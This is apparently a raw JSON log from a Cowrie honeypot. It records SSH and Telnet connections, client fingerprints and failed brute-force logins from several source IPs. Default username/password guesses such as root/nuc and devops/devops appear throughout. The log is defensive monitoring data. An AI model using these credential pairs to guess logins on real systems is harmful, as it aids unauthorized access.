{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:20.256658Z","src_ip":"45.153.34.114","session":"fb6878fa3f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:20.529045Z","src_ip":"45.153.34.114","session":"fb6878fa3f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:21.684603Z","src_ip":"45.153.34.114","session":"fb6878fa3f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40326,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8aeacc65c9","protocol":"ssh","message":"New connection: 45.153.34.114:40326 (159.203.135.109:22) [session: 0b8aeacc65c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.117040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.121181Z","src_ip":"45.153.34.114","session":"0b8aeacc65c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.207846Z","src_ip":"45.153.34.114","session":"0b8aeacc65c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":56658,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5c06d3c7b3","protocol":"ssh","message":"New connection: 20.203.42.204:56658 (159.203.135.109:22) [session: 7a5c06d3c7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.244767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.250058Z","src_ip":"20.203.42.204","session":"7a5c06d3c7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.417093Z","src_ip":"20.203.42.204","session":"7a5c06d3c7b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:28.462173Z","src_ip":"45.153.34.114","session":"0b8aeacc65c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nuc","message":"login attempt [root/nuc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:29.121101Z","src_ip":"20.203.42.204","session":"7a5c06d3c7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:29.548018Z","src_ip":"45.153.34.114","session":"0b8aeacc65c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:30.293827Z","src_ip":"20.203.42.204","session":"7a5c06d3c7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55870,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8790b92d3f5","protocol":"ssh","message":"New connection: 103.75.199.4:55870 (159.203.135.109:22) [session: b8790b92d3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:31.982710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:31.987668Z","src_ip":"103.75.199.4","session":"b8790b92d3f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:32.078658Z","src_ip":"103.75.199.4","session":"b8790b92d3f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:32.350869Z","src_ip":"103.75.199.4","session":"b8790b92d3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:33.444652Z","src_ip":"103.75.199.4","session":"b8790b92d3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.185.191.115","src_port":61739,"dst_ip":"10.17.0.5","dst_port":23,"session":"67bb1869a2dc","protocol":"telnet","message":"New connection: 197.185.191.115:61739 (10.17.0.5:23) [session: 67bb1869a2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:36.034407Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55644,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e7b5a62f9e0","protocol":"ssh","message":"New connection: 45.153.34.114:55644 (159.203.135.109:22) [session: 7e7b5a62f9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:36.419588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:36.423556Z","src_ip":"45.153.34.114","session":"7e7b5a62f9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:36.506866Z","src_ip":"45.153.34.114","session":"7e7b5a62f9e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:36.803901Z","src_ip":"45.153.34.114","session":"7e7b5a62f9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:37.892372Z","src_ip":"45.153.34.114","session":"7e7b5a62f9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52560,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea24ed321db","protocol":"ssh","message":"New connection: 45.153.34.114:52560 (159.203.135.109:22) [session: aea24ed321db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:44.548328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:44.553289Z","src_ip":"45.153.34.114","session":"aea24ed321db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:44.644649Z","src_ip":"45.153.34.114","session":"aea24ed321db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:44.934226Z","src_ip":"45.153.34.114","session":"aea24ed321db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:46.021830Z","src_ip":"45.153.34.114","session":"aea24ed321db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.480355262756348,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:48.514563Z","src_ip":"197.185.191.115","session":"67bb1869a2dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60256,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd4c893e7f0a","protocol":"ssh","message":"New connection: 45.153.34.114:60256 (159.203.135.109:22) [session: dd4c893e7f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:52.846867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:52.854542Z","src_ip":"45.153.34.114","session":"dd4c893e7f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:52.939276Z","src_ip":"45.153.34.114","session":"dd4c893e7f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:53.210708Z","src_ip":"45.153.34.114","session":"dd4c893e7f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33600,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6b51d6838b9","protocol":"ssh","message":"New connection: 103.75.199.4:33600 (159.203.135.109:22) [session: b6b51d6838b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:53.870684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:53.874781Z","src_ip":"103.75.199.4","session":"b6b51d6838b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29858,"dst_ip":"159.203.135.109","dst_port":22,"session":"42193f8dd3c2","protocol":"ssh","message":"New connection: 2.57.121.25:29858 (159.203.135.109:22) [session: 42193f8dd3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:53.918158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:53.922947Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:53.966169Z","src_ip":"103.75.199.4","session":"b6b51d6838b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:54.028197Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
